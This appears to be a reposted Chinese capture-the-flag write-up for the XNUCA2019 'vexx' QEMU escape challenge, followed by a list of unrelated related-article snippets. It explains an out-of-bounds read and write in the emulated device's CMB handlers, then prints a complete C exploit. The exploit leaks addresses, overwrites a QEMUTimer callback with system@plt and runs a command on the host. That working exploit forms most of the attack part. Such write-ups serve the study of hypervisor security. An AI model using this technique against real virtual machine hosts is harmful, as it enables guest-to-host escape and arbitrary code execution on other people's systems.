[qemu逃逸] XNUCA2019-vexx

前言

这题没有去符合, 题目本身不算难.

用户名: root

密码: goodluck

设备逆向

题目没有去符合, 所以其实没啥好讲了, 就列一些笔者认为关键的地方

这里的定义了两块 mmio 内存区. 然后看下设备实例结构体:

可以看到 QEMUTimer, 所以多半就是劫持 dma_timer 了.

漏洞点在 cmb_read/cmb_write 中: 这里仅仅分析 vexx_cmb_write

在实例结构体中 req_buf 的大小为 0x100, 而 addr = offset + addr, 这里只检查了之前的 addr <= 0x100, 但是没有检查 offset+addr 是否越界, 而在 vexx_ioport_write 中是可以控制 offset 的, 从而导致越界写.

 同理 vexx_cmb_read 存在越界读

漏洞利用

其实就很简单了直接劫持 QEMUTimer 就行了

exp 如下: 注: 经过测试 pmio 一次只能写一个字节

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/io.h>
#include <sys/mman.h>uint64_t mmio_addr = 0x00000000febd6000;
uint64_t mmio_size = 0x1000;
uint64_t cmb_addr  = 0x00000000febd0000;
uint64_t cmb_size  = 0x4000;void * mmio_base;
void * cmb_base;
uint64_t pmio_base = 0x230;void mmio_init()
{int fd = open("/dev/mem", 2);mmio_base = mmap(0, mmio_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, mmio_addr);if (mmio_base < 0) puts("[X} mmio_init at mmio"), exit(EXIT_FAILURE);if (mlock(mmio_base, mmio_size) < 0) puts("[X] mlock at mmio"), exit(EXIT_FAILURE);cmb_base  = mmap(0, cmb_size , PROT_READ|PROT_WRITE, MAP_SHARED, fd, cmb_addr );if (cmb_base < 0)  puts("[X] mmio_init at cmb"), exit(EXIT_FAILURE);if (mlock(cmb_base, cmb_size) < 0) puts("[X] mlock at cmb"), exit(EXIT_FAILURE);printf("[+] mmio_base: %#p\n", mmio_base);printf("[+] cmb_base: %#p\n", cmb_base);
}uint32_t mmio_read(uint64_t offset)
{return *(uint32_t*)(mmio_base + offset);
}void mmio_write(uint64_t offset, uint64_t val)
{*(uint64_t*)(mmio_base + offset) = val;
}uint32_t cmb_read(uint64_t offset)
{return *(uint32_t*)(cmb_base + offset);
}void cmb_write(uint64_t offset, uint32_t val)
{*(uint32_t*)(cmb_base + offset) = val;
}void pmio_init()
{if (iopl(3) < 0) puts("[X] pmio_init"), exit(EXIT_FAILURE);
}uint32_t pmio_read(uint32_t addr)
{return inl(pmio_base + (addr - 0x230));
}void pmio_writel(uint32_t addr, uint32_t val)
{outl(val, pmio_base + (addr - 0x230));
}void pmio_writew(uint32_t addr, uint32_t val)
{outw(val, pmio_base + (addr - 0x230));
}void pmio_writeb(uint32_t addr, uint32_t val)
{outb(val, pmio_base + (addr - 0x230));
}int main(int argc, char** argv, char** envp)
{mmio_init();pmio_init();/*puts("[+] outl");pmio_writel(0x240, 0x38);puts("[+] outw");pmio_writew(0x240, 0x38);*/puts("[+] outb");pmio_writeb(0x240, 0x38);pmio_writeb(0x230, 1);uint64_t cb_addr = cmb_read(0x100);printf("[+] cb_addr: %#llx\n", cb_addr);pmio_writeb(0x240, 0x3c);pmio_writeb(0x230, 1);cb_addr = cb_addr | ((1ULL * cmb_read(0x100)) << 32);uint64_t system_plt = cb_addr - 0x00000000004DCF10 + 0x00000000002AB860;printf("[+] cb_addr: %#llx\n", cb_addr);printf("[+] system@plt: %#llx\n", system_plt);pmio_writeb(0x240, 0x40);pmio_writeb(0x230, 1);uint64_t arg_addr = cmb_read(0x100);printf("[+] arg_addr: %#llx\n", arg_addr);pmio_writeb(0x240, 0x44);pmio_writeb(0x230, 1);arg_addr = arg_addr | ((1ULL * cmb_read(0x100)) << 32);uint64_t cmd_addr = arg_addr + 0xb90;printf("[+] arg_addr: %#llx\n", arg_addr);printf("[+] cmd_addr: %#llx\n", cmd_addr);pmio_writeb(0x240, 0x38);pmio_writeb(0x230, 1);cmb_write(0x100, system_plt&0xffffffff);pmio_writeb(0x240, 0x3c);pmio_writeb(0x230, 1);cmb_write(0x100, (system_plt>>32)&0xffffffff);pmio_writeb(0x240, 0x40);pmio_writeb(0x230, 1);cmb_write(0x100, cmd_addr&0xffffffff);pmio_writeb(0x240, 0x44);pmio_writeb(0x230, 1);cmb_write(0x100, (cmd_addr>>32)&0xffffffff);char cmd[8] = "xcalc";pmio_writeb(0x240, 0);pmio_writeb(0x230, 1);cmb_write(0, *(uint32_t*)&cmd[0]);pmio_writeb(0x240, 4);pmio_writeb(0x230, 1);cmb_write(0, *(uint32_t*)&cmd[4]);mmio_write(0x98, 1);//      puts("[-] DEBUG");
//      pmio_writeb(0x240, 0x38);return 0;
}
x

 效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/194107.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

传输层协议-TCP协议

目录 TCP协议格式理解可靠性序号与确认序号16位窗口大小六个标志位连接管理机制三次握手四次挥手 确认应答机制&#xff08;ACK&#xff09;超时空重传机制流量控制滑动窗口拥塞控制延迟应答捎带应答面向字节流粘包问题TCP异常情况TCP小结基于TCP应用层协议TCP/UDP对比用UDP实现…

【STL】:反向迭代器

朋友们、伙计们&#xff0c;我们又见面了&#xff0c;本期来给大家解读一下有关反向迭代器的模拟实现&#xff0c;如果看完之后对你有一定的启发&#xff0c;那么请留下你的三连&#xff0c;祝大家心想事成&#xff01; C 语 言 专 栏&#xff1a;C语言&#xff1a;从入门到精通…

吐血整理,金融银行测试的“火“到底在哪里?银行测试真正实施...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 银行里的软件测试…

基于金鹰算法优化概率神经网络PNN的分类预测 - 附代码

基于金鹰算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于金鹰算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于金鹰优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要&#xff1a;针对PNN神经网络的光滑…

千梦网创:外貌与内貌

一、怎样提高身价&#xff1f; 同样的商品或服务怎样卖得更贵&#xff1f; 要么通过更贵的渠道、要么通过更好的包装。 水还是那个水&#xff0c;放在星巴克可以卖很贵&#xff0c;印上不同的logo可以卖不同的价格。 拿线下的教育培训行业来说&#xff0c;真正让你去测评哪…

element中el-upload上传文件去掉文件列表

<template><el-uploadref"upload"action"/api/upload":limit"1"accept.xlsx:on-success"uploadSuccess":on-error"uploadError"><el-button size"small" type"primary">点击上传<…

程序的编译链接以及装载

目录 一、预处理 二、编译 三、汇编 四、链接 五、装载 一、预处理 读取c源程序&#xff0c;对其中的伪指令&#xff08;以#开头的指令&#xff09;和特殊符号进行处理&#xff0c; 伪指令主要包括以下五个方面&#xff1a; 宏定义指令&#xff0c;如#define Name Token…

解决在pycharm中使用matplotlib画图问题

第一&#xff0c;再导入包后直接绘图出现&#xff1a; AttributeError: module backend_interagg has no attribute FigureCanvas表明版本不兼容&#xff0c;我们需要加入&#xff1a;matplotlib.use(‘TkAgg’) 导入函数就变成了&#xff1a; import matplotlib matplotlib.…

js的高级

js js 的数组数组是什么为什么要使用数组数组的简单使用数组是按照顺序保存的&#xff0c;所以每个数据都有自己的编号数组的取值方法遍历数组数组的元素求和数组的最大值和最小值数组的增删改查操作数组的增加数组的筛选数组的删除js的函数 案例&#xff1a; 九九乘法表 数组…

更新文章分类

CategoryController PutMappingpublic Result update(RequestBody Validated Category category){categoryService.update(category);return Result.success();} CategoryService //更新分类void update(Category category); CategoryServiceImpl Overridepublic void update(…

计算机组成原理-双端口RAM和多模块存储器

文章目录 存取周期总览双端口RAM多体并行存储器低地址交叉编址有多少个存储体合适&#xff08;体号&#xff09;多模块存储器&#xff08;多体存储器&#xff09;总结实际场景 存取周期 总览 双端口RAM RAM&#xff1a;用于主存或高速缓存&#xff0c;断电数据丢失 多体并行…

内容运营工具:标签体系

一.分类和标签的区别 ■标签是扁平的&#xff0c;分类是层级的。 ■标签是精确的&#xff0c;分类是粗糙的。 ■标签是多维的&#xff0c;分类是一维的。 二.标签的本质&#xff1a;元数据 事实上&#xff0c;在数据领域&#xff0c;有一个鼎鼎大名的词汇与标签极其雷同&…